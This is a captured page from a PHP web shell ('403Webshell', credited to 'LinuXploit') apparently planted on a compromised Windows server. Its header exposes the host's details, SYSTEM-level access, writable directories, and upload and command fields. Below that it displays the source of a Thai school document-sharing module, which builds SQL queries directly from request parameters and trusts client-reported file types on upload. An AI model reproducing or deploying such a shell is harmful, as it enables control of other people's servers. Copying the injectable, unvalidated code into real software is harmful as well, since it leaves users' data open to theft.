403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myoffice/2563/modules - Copy/tkk7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myoffice/2563/modules - Copy/tkk7/addschoolska.php
<?
CheckUsersch($_SESSION['usersch_user'], $_SESSION['usersch_pwd']);
?>
<script type="text/javascript">
function myoffice(val, group_num)
{
if(val==true)
{
	document.getElementById("group"+group_num+"").style.display="";
}
else
{
	document.getElementById("group"+group_num+"").style.display="none";
}

}
</script>
<script type="text/javascript">
function myoffice1(val, group_num)
{
if(val==true)
{
	document.getElementById("group1"+group_num+"").style.display="";
}
else
{
	document.getElementById("group1"+group_num+"").style.display="none";
}

}
</script>
<script>
    function checkall(formname,checkname,thestate){
      var el_collection=eval("document.forms."+formname+"."+checkname)
      for (c=0;c<el_collection.length;c++)
      el_collection[c].checked=thestate
    }
 </script>
 
	<TABLE align=center cellSpacing=0 cellPadding=0 width=1005 height=500 border=0>
      <TBODY>
        <TR>
          <TD vAlign=top>
		  <BR>
				<TABLE width="800" align=center  cellSpacing=0 cellPadding=0 border=0>
				<TR>
					<TD  align=center vAlign=top>
<?
 if($_GET[op] == "tkk7_add" AND $_GET[action] == "add"){
	//////////////////////////////////////////// กรณีเพิ่ม Database
	if(CheckLevelUsersch($_SESSION['usersch_user'],$_GET[op])){
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[usersch] = $db->select_query("SELECT * FROM ".TB_usersch." WHERE username='".$_SESSION['usersch_user']."' ");
		$arr[usersch] = $db->fetch($res[usersch]);
			$FILE = $_FILES['files1'];
			$FILE = $_FILES['files2'];
			$FILE = $_FILES['files3'];
			$FILE = $_FILES['files4'];
		if (!$_POST[CATEGORY] OR !$_POST[TOPIC] ){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณากรอกข้อมูลต่างๆให้ครบถ้วน')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}
//======================================================== BEGIN ===== UPLOAD 1 ============
//==========================================================================================
// นำฟังก์ชั่น Ramdom password มาใช้เพื่อกำหนดชื่อไฟล์ป้องกันการซ้ำกัน
 if($_FILES["files1"]["tmp_name"] != "")
{
			$upload = $_FILES["files1"]["tmp_name"];
			$upload_file = $_FILES["files1"]["type"];
			require 'includes/gen_file_name.php';
			$upload_time=$gen_file_name;
//ตรวจสอบชนิดของไฟล์
	if (( $upload_file!="application/pdf" ) AND ($upload_file!="application/msword") AND ($upload_file!="application/vnd.ms-excel") AND ($upload_file!="application/vnd.openxmlformats-officedocument.wordprocessingml.document") AND ($upload_file!="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet") AND  ($upload_file!="application/x-zip-compressed")AND ($upload_file!="application/octet-stream")){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณาใช้ไฟล์ .pdf .doc .xls .zip ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}

#แปลงนามสกุล และทำการ upload
if( $upload_file == "application/pdf" )
				{
						$filename = $upload_name.".pdf";
				}
if( $upload_file == "application/msword" )
				{
						$filename = $upload_name.".doc";
				}
		if( $upload_file == "application/vnd.openxmlformats-officedocument.wordprocessingml.document" )
				{
						$filename = $upload_name.".docx";
				}
				if( $upload_file == "application/vnd.ms-excel" )
				{
						$filename = $upload_name.".xls";
				}
				if( $upload_file == "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" )
				{
						$filename = $upload_name.".xlsx";
				}
				if( $upload_file == "application/x-zip-compressed" )
				{
						$filename = $upload_name.".zip";
				}

							if( $upload_file == "application/octet-stream" )
				{
						$filename = $upload_name.".rar";
				}
				$new1_upload = $upload_time.$filename;
copy($_FILES["files1"]["tmp_name"], "data/tkk7/$new1_upload");		
//======================================================== END ======= UPLOAD 4 ============
// เร่อม
  if($_FILES["files2"]["tmp_name"] != "")
{
			$upload = $_FILES["files2"]["tmp_name"];
			$upload_file = $_FILES["files2"]["type"];
			require 'includes/gen_file_name.php';
			$upload_time=$gen_file_name;
//ตรวจสอบชนิดของไฟล์
		if (( $upload_file!="application/pdf" ) AND ($upload_file!="application/msword") AND ($upload_file!="application/vnd.ms-excel") AND ($upload_file!="application/vnd.openxmlformats-officedocument.wordprocessingml.document") AND ($upload_file!="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet") AND  ($upload_file!="application/x-zip-compressed")AND ($upload_file!="application/octet-stream")){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณาใช้ไฟล์ .pdf .doc .xls .zip ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}
#แปลงนามสกุล และทำการ upload
if( $upload_file == "application/pdf" )
				{
						$filename = $upload_name.".pdf";
				}
if( $upload_file == "application/msword" )
				{
						$filename = $upload_name.".doc";
				}
		if( $upload_file == "application/vnd.openxmlformats-officedocument.wordprocessingml.document" )
				{
						$filename = $upload_name.".docx";
				}
				if( $upload_file == "application/vnd.ms-excel" )
				{
						$filename = $upload_name.".xls";
				}
				if( $upload_file == "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" )
				{
						$filename = $upload_name.".xlsx";
				}
				if( $upload_file == "application/x-zip-compressed" )
				{
						$filename = $upload_name.".zip";
				}
					if( $upload_file == "application/octet-stream" )
				{
						$filename = $upload_name.".rar";
				}
					$new2_upload = $upload_time.$filename;
			
copy($_FILES["files2"]["tmp_name"], "data/tkk7/$new2_upload");		
//======================================================== BEGIN ===== UPLOAD 3 ============
 if($_FILES["files3"]["tmp_name"] != "")
{
			$upload = $_FILES["files3"]["tmp_name"];
			$upload_file = $_FILES["files3"]["type"];
			require 'includes/gen_file_name.php';
			$upload_time=$gen_file_name;
//ตรวจสอบชนิดของไฟล์
		if (( $upload_file!="application/pdf" ) AND ($upload_file!="application/msword") AND ($upload_file!="application/vnd.ms-excel") AND ($upload_file!="application/vnd.openxmlformats-officedocument.wordprocessingml.document") AND ($upload_file!="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet") AND  ($upload_file!="application/x-zip-compressed")AND ($upload_file!="application/octet-stream")){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณาใช้ไฟล์ .pdf .doc .xls .zip ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}
#แปลงนามสกุล และทำการ upload
if( $upload_file == "application/pdf" )
				{
						$filename = $upload_name.".pdf";
				}
if( $upload_file == "application/msword" )
				{
						$filename = $upload_name.".doc";
				}
		if( $upload_file == "application/vnd.openxmlformats-officedocument.wordprocessingml.document" )
				{
						$filename = $upload_name.".docx";
				}
				if( $upload_file == "application/vnd.ms-excel" )
				{
						$filename = $upload_name.".xls";
				}
				if( $upload_file == "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" )
				{
						$filename = $upload_name.".xlsx";
				}
				if( $upload_file == "application/x-zip-compressed" )
				{
						$filename = $upload_name.".zip";
				}
					if( $upload_file == "application/octet-stream" )
				{
						$filename = $upload_name.".rar";
				}
						$new3_upload = $upload_time.$filename;
			
copy($_FILES["files3"]["tmp_name"], "data/tkk7/$new3_upload");		
//======================================================== BEGIN ===== UPLOAD 4 ============
 if($_FILES["files4"]["tmp_name"] != "")
{
			$upload = $_FILES["files4"]["tmp_name"];
			$upload_file = $_FILES["files4"]["type"];
			require 'includes/gen_file_name.php';
			$upload_time=$gen_file_name;
//ตรวจสอบชนิดของไฟล์
	if (( $upload_file!="application/pdf" ) AND ($upload_file!="application/msword") AND ($upload_file!="application/vnd.ms-excel") AND ($upload_file!="application/vnd.openxmlformats-officedocument.wordprocessingml.document") AND ($upload_file!="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet") AND  ($upload_file!="application/x-zip-compressed")AND ($upload_file!="application/octet-stream")){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณาใช้ไฟล์ .pdf .doc .xls .zip ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}
#แปลงนามสกุล และทำการ upload
if( $upload_file == "application/pdf" )
				{
						$filename = $upload_name.".pdf";
				}
if( $upload_file == "application/msword" )
				{
						$filename = $upload_name.".doc";
				}
		if( $upload_file == "application/vnd.openxmlformats-officedocument.wordprocessingml.document" )
				{
						$filename = $upload_name.".docx";
				}
				if( $upload_file == "application/vnd.ms-excel" )
				{
						$filename = $upload_name.".xls";
				}
				if( $upload_file == "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" )
				{
						$filename = $upload_name.".xlsx";
				}
				if( $upload_file == "application/x-zip-compressed" )
				{
						$filename = $upload_name.".zip";
				}
					if( $upload_file == "application/octet-stream" )
				{
						$filename = $upload_name.".rar";
				}
							$new4_upload = $upload_time.$filename;
			
copy($_FILES["files4"]["tmp_name"], "data/tkk7/$new4_upload");		
//======================================================== END ======= UPLOAD 4 ============
}
}
}

			  		//ทำการเพิ่มข้อมูลลงดาต้าเบส
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$db->add_db(TB_TKK7,array(
			"category"=>",".implode(",", $_POST[CATEGORY]).",",
			"praphet"=>"$_POST[PRAPHET]",
			"tabain"=>"$_POST[TABAIN]",
			"topic"=>"$_POST[TOPIC]",
			"date"=>"$_POST[DATE]",
			"posted"=>"$_POST[POSTED]",
			"post_date"=>"".TIMESTAMP."",
			"update_date"=>"".TIMESTAMP."",
			"enable_comment"=>"1",
			"full_text"=>"$new1_upload",
			"full_texts"=>"$new2_upload",
			"full_textu"=>"$new3_upload",
			"full_texto"=>"$new4_upload"));
		$db->closedb ();
} else {
			//ทำการเพิ่มข้อมูลลงดาต้าเบส
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$db->add_db(TB_TKK7,array(
			"category"=>",".implode(",", $_POST[CATEGORY]).",",
			"praphet"=>"$_POST[PRAPHET]",
			"tabain"=>"$_POST[TABAIN]",
			"topic"=>"$_POST[TOPIC]",
			"date"=>"$_POST[DATE]",
			"posted"=>"$_POST[POSTED]",
			"post_date"=>"".TIMESTAMP."",
			"update_date"=>"".TIMESTAMP."",
			"enable_comment"=>"1",));
		$db->closedb ();
}

		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการเพิ่ม  เข้าสู่ระบบเรียบร้อยแล้ว</B></FONT><BR><BR>";
	    $ProcessOutput .= "<meta http-equiv=\"refresh\" content=\"0 ;url=?name=tkk7&file=index2&category=1\">";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "tkk7_add"){
	//////////////////////////////////////////// กรณีเพิ่ม Form
	if(CheckLevelUsersch($_SESSION['usersch_user'],$_GET[op])){

	//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[usersch] = $db->select_query("SELECT * FROM ".TB_usersch." WHERE username='".$_SESSION['usersch_user']."' ");
		$arr[usersch] = $db->fetch($res[usersch]);
		//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[tkk7] = $db->select_query("SELECT * FROM ".TB_TKK7." WHERE id='".$_GET[id]."' ");
		$arr[tkk7] = $db->fetch($res[tkk7]);
		$db->closedb ();
		?>
<script type="text/javascript" src="datepicker.js"></script>
<FORM NAME="myform" METHOD=POST ACTION="?name=tkk7&file=addschoolska&op=tkk7_add&action=add" enctype="multipart/form-data" id="myform">
 <table width="800" border="0" cellspacing="0" cellpadding="0"background="images/124.jpg">
 <tr>
 <td width="250" align="right"><B>ประเภท : </B></td>
 <td width="550">
<INPUT TYPE="radio" NAME="PRAPHET" VALUE="1" checked>
          <img src="myoffice/1.png" width="18" height="18">  ปกติ
<INPUT TYPE="radio" NAME="PRAPHET" VALUE="2">
          <img src="myoffice/2.png" width="18" height="18"> ด่วน
<INPUT TYPE="radio" NAME="PRAPHET" VALUE="3">
          <img src="myoffice/3.png" width="18" height="18"> ด่วนมาก
<INPUT TYPE="radio" NAME="PRAPHET" VALUE="4">
          <img src="myoffice/4.png" width="18" height="18"> ด่วนที่สุด
 </td>
 </tr>
 <tr>
 <td width="250" align="right"><B>เลขหนังสือ : </B></td>
 <td width="550">
<INPUT TYPE="text" NAME="TABAIN" size="20" VALUE="<?=WEB_ADDRESS2;?>"  style="background-color:#FFFF99">	
 </td>
 </tr>
<tr>
 <td width="250" align="right"><B>ลงวันที่ : </B></td>
 <td width="550">
<input name="DATE" readonly value="<?=$_GET[dates];?>"style="background-color:#FFFF99"> <IMG SRC="images/admin/dateselect.gif" BORDER="0" ALT="เลือกวันที่" onclick="displayDatePicker('DATE', false, 'ymd', '-');" align="absmiddle">	
 </td>
 </tr>
<tr>
 <td width="250" align="right"><B>เรื่อง : </B></td>
 <td width="550">
<INPUT TYPE="text" NAME="TOPIC" size="60" VALUE="<?=$arr[tkk7][topic];?>" style="background-color:#FFFF99">
 </td>
 </tr>
<tr>
 <td width="250" align="right"><B>จากโรงเรียน : </B></td>
 <td width="550">
<?=$arr[usersch][name];?>
 </td>
 </tr>
<tr>
 <td width="250" align="right" valign="top"><B>ส่งถึง : </B></td>
 <td width="550">
<table width="800"  border="0" bgcolor="" cellspacing="0" cellpadding="0">
<TR>
<TD>
<table width="800" align="center" bgcolor="" border="0" cellspacing="0" cellpadding="0">
<tr>
<td>
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[category] = $db->select_query("SELECT * FROM ".TB_AMP_CAT."  ");
		while ($arr[category] = $db->fetch($res[category])){
?>
&nbsp;&nbsp;<font color=blue><B><u><input type="checkbox"   onclick="myoffice(this.checked, '<?=$arr[category][id];?>')" /><?=$arr[category][category_name];?></u></B></font>&nbsp;

<div id="group<?=$arr[category][id];?>" style="display:none;">
<a href="javascript:checkall('myform','v<?=$arr[category][id];?>',true)">เลือกทั้งหมด</a>  &nbsp;&nbsp;
<a href="javascript:checkall('myform','v<?=$arr[category][id];?>',false)">เอาออกทั้งหมด</a> <BR>

<TABLE WIDTH="800" align="center" bgcolor="#FFFFcd" border="0" cellspacing="0" cellpadding="0">
<tr>
<?
	//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[usersch] = $db->select_query("SELECT * FROM ".TB_usersch." WHERE username='".$_SESSION['usersch_user']."' ");
		$arr[usersch] = $db->fetch($res[usersch]);
$res[usersch] = $db->select_query("SELECT * FROM ".TB_usersch." WHERE address='".$arr[category][level]."' and id!='".$arr[usersch][id]."' and status='1' ORDER BY name  ");
while ($arr[usersch] = $db->fetch($res[usersch])){
?>
<td width="50%"  valign="top">


<input type="checkbox" name="CATEGORY[]" id="v<?=$arr[category][id];?>" value="<?=$arr[usersch][id];?>"><b> <?=$arr[usersch][name];?></b>
<?
$count++;

if (($count%2) == 0) { echo "<TR><TD></TD></TR>"; $count=0; 
} else{
	echo "</TD>";
} 
?>
<?
}
$db->closedb ();
?>
</td>
    </tr>
  </table>
</div>
<?
}
?>
</td></tr>
  </table>
</TD>
</TR>
</table>
 </td>
 </tr>
<tr>
 <td width="250" align="right"><B>ไฟล์แนบที่ 1  : </B></td>
 <td width="550">
<input type="file" name="files1" size="50">
 </td>
 </tr>
<tr>
 <td width="250" align="right"><B>ไฟล์แนบที่ 2  : </B></td>
 <td width="550">
<input type="file" name="files2" size="50">
 </td>
 </tr>
<tr>
 <td width="250" align="right"><B>ไฟล์แนบที่ 3  : </B></td>
 <td width="550">
<input type="file" name="files3" size="50">
 </td>
 </tr>
<tr>
 <td width="250" align="right"><B>ไฟล์แนบที่ 4  :  </B></td>
 <td width="550">
<input type="file" name="files4" size="50">
 </td>
 </tr>
<tr>
 <td width="250" align="right"><B>.............................</B></td>
 <td width="550">
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[usersch] = $db->select_query("SELECT * FROM ".TB_usersch." WHERE username='".$_SESSION['usersch_user']."' ");
		$arr[usersch] = $db->fetch($res[usersch]);
?>
	<INPUT TYPE="hidden" NAME="POSTED" VALUE="<?=$arr[usersch][id];?>" readonly style=\"color: #FF0000">
	<br>
	<CENTER><INPUT TYPE="submit" value=" บันทึกส่งเอกสาร" name="submit"> </CENTER>
 </td>
 </tr>
  </table>
</FORM>
<?
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "tkk7_del" AND $_GET[action] == "multidel"){
	//////////////////////////////////////////// กรณีลบ Multi
	if(CheckLevelUser($_SESSION['usersch_user'],$_GET[op])){
		while(list($key, $value) = each ($_POST['list'])){
			$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
			$res[tkk7] = $db->select_query("SELECT * FROM ".TB_TKK7." WHERE id='".$value."' ");
			$arr[tkk7] = $db->fetch($res[tkk7]);
			$db->del(TB_TKK7," id='".$value."' "); 

			@unlink("tkk7data/".$arr[tkk7][post_date].".txt");
			@unlink("tkk7icon/".$arr[tkk7][post_date].".jpg");
			@unlink("tkk7/".$arr[tkk7][full_text]);
			$db->closedb ();
		}
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=tkk7&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการลบเรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "<meta http-equiv=\"refresh\" content=\"1 ;url=?name=tkk7&file=index2&category=".$arr[user][id]."\">";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "tkk7_del"){
	//////////////////////////////////////////// กรณีลบ Form
	if(CheckLevelUser($_SESSION['usersch_user'],$_GET[op])){
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
//		$db->del(TB_TKK7," id='".$_GET[id]."' ");
			$res[tkk7] = $db->select_query("SELECT * FROM ".TB_TKK7." WHERE id='".$_GET[id]."' ");
			$arr[tkk7] = $db->fetch($res[tkk7]);
			$db->del(TB_TKK7," id='".$_GET[id]."' "); 

			@unlink("tkk7data/".$arr[tkk7][post_date].".txt");
			@unlink("tkk7icon/".$arr[tkk7][post_date].".jpg");
			@unlink("tkk7/".$arr[tkk7][full_text]);
		$db->closedb ();
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=user&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการลบเรียบร้อยแล้ว</B></FONT><BR><BR>";
	$ProcessOutput .= "<meta http-equiv=\"refresh\" content=\"1 ;url=?name=tkk7&file=index\">";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
?>
				</TD>
				</TR>
			</TABLE>
			<!-- user -->
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit